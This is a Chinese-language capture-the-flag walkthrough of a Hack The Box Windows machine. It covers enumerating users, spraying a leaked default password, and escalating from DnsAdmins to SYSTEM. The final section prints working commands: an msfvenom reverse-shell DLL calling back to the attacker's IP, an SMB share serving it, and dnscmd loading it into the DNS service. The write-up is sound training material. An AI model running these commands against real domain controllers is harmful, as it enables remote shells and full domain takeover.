基本信息

lab地址:https://www.hackthebox.eu/home/machines/profile/220

  • 10.10.10.169

端口扫描

是一个Windows服务器,没有web

enum4linux

使用enum4linux收集信息:

这里能够看到一条信息,其中是一个账号密码:

1
index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko	Name: Marko Novak	Desc: Account created. Password set to Welcome123!

但直接使用这个账号密码尝试登录,失败:

这里可以整理出得到的所有用户名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claude] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]

smb_login

使用得到的用户名字典和前面的密码尝试登录,得到一个正确的账号:

1
melanie:Welcome123!

user flag

使用这个账号密码登录,得到user.txt:

搜集信息

1
dir -force = ls -a

在这个文件中发现了另一个账号的密码:

1
cmd /c net use X: \\fs01\backups ryan Serv3r4Admin4cc123!

note.txt

使用ryan账号登录,在桌面发现一个note.txt:

任何系统更改都会在1分钟内恢复,除了管理员账号做的更改

使用whoami /all查看信息的话,能够发现ryan这个账号在DnsAdmins中:

DNSAdmins to Domain Admins

搜索能够得到:

Windows Privilege Escalation: DNSAdmins to Domain Admins - Server Level DLL Injection
https://www.abhizer.com/windows-privilege-escalation-dnsadmin-to-domaincontroller/

基本就这个流程,参数自己改下

1
2
3
4
5
6
7
8
9
Attack:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.160 LPORT=4444 --platform=windows -f dll > ~/Downloads/plugin.dll
python smbserver.py -smb2support SHARE ~/Downloads/
nc -nvlp 4444

Target:
dnscmd.exe /config /serverlevelplugindll \\10.10.14.160\SHARE\plugin.dll
sc.exe stop dns
sc.exe start dns

root flag

得到system权限,在Administrator用户桌面得到root.txt:

参考资料